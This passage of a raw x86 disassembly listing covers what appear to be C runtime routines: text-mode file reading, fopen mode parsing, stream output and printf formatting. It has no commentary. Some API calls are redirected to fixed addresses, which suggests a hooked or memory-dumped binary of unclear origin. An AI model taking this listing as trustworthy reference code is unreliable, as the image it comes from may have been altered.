and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC6C0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC5C0h[eax*4] mov eax, dword_4DC5C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 26F0000h test eax, eax jnz short loc_41F1E4 nop call near ptr 2680000h push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB278, 9 mov dword_4DB27C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 26F0000h nop test eax, eax jnz short loc_41F285 call near ptr 2680000h nop test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB2F8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB464 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB460 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB598 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB598 mov [edi+ecx], eax mov eax, dword_4DB598 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C2F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C2F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA08 jz short loc_41F5EA cmp esi, offset dword_43CA28 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C950 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C2F8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C514 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C510 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8A0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8AC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8A4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C510 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov 